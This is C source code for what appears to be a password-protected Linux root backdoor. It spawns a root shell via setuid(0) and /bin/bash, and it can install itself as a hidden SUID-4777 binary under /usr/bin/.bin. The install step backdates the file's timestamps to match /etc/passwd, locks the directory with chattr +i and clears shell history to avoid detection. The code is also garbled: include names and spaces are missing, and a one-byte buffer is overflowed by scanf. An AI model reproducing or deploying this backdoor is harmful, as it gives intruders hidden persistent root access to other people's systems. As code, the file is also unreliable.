#include #include#include#include
int compare(char*a,char*b)
{if(strcmp(a,b)==0)return 1;else
return 0;
}int is_file_exist(const char*file_path)
{if(file_path==NULL)
{return -1;
}if(access(file_path,F_OK)==0)
{return 0;
}return -1;
}char *myFileBasePath="/usr/bin/.bin/bin";char *password="611521";char *mustFileName="./root";int main(int argc,char**argv)
{int errorTime=0;chartypeCommandCode;charwhat;char *a=argv[0];if(compare(a,mustFileName)==0){
printf("file path must be ./root\n");return 0;
}while(1)
{
printf("please type your password:\n");char *typePassword=(char*)malloc(sizeof(char));
scanf("%s",typePassword);
what=getchar();if(compare(password,typePassword)==1)
{
errorTime=0;
printf("\n\n welcome you to login success! \n\n");while(1)
{
system("clear");
printf("************************************************\n");
printf("* Welcome to use Blake System *\n");
printf("* 1----------------get root role *\n");
printf("* 2----------------check file *\n");
printf("* 3--------------- install command *\n");
printf("* 4----------------uninstall command *\n");
printf("* 5--------------- Exit *\n");
printf("* *\n");
printf("************************************************\n");
printf("please type your option:1-5\n");
typeCommandCode=getchar();
what=getchar();if(typeCommandCode=='1')
{
setuid(0);
setgid(0);
system("/bin/bash");
printf("\n Press and key to Continue \n");
what=getchar();continue;
}else if(typeCommandCode=='2')
{if(is_file_exist(myFileBasePath)==0)
{
printf("\n /usr/bin/.bin/bin you can find the file \n");
printf("\n Press and key to Continue \n");
what=getchar();continue;
}else{
printf("\n /usr/bin/.bin/bin you can't find the file \n");
printf("\n Press and key to Continue \n");
what=getchar();continue;
}
}else if(typeCommandCode=='3')
{
system("mkdir /usr/bin/.bin");
system("mv root /usr/bin/.bin/bin");
system("chmod 4777 /usr/bin/.bin/bin");
system("touch -r /etc/passwd /usr/bin/.bin/");
system("touch -r /etc/passwd /usr/bin/.bin/bin");
system("chattr -R +i /usr/bin/.bin");
system("history -c");
printf("\n Press and key to Continue \n");
what=getchar();continue;
}else if(typeCommandCode=='4')
{
system("chattr -i /usr/bin/.bin/bin");
system("rm -rf /usr/bin/.bin");
printf("\n Press and key to Continue \n");
what=getchar();continue;
}else if(typeCommandCode=='5'){
printf("\n Press and key to Exit \n");return 0;
}else{
printf("\n can't find the option \n");
printf("\n Press and key to Continue \n");
what=getchar();continue;
}
}
}else if(compare(password,typePassword)==0)
{
printf("\n password error \n\n");
errorTime++;if(errorTime==3)
{
printf("\n\n error time too many, it will to exit! \n\n");break;return 0;
}
}
}
}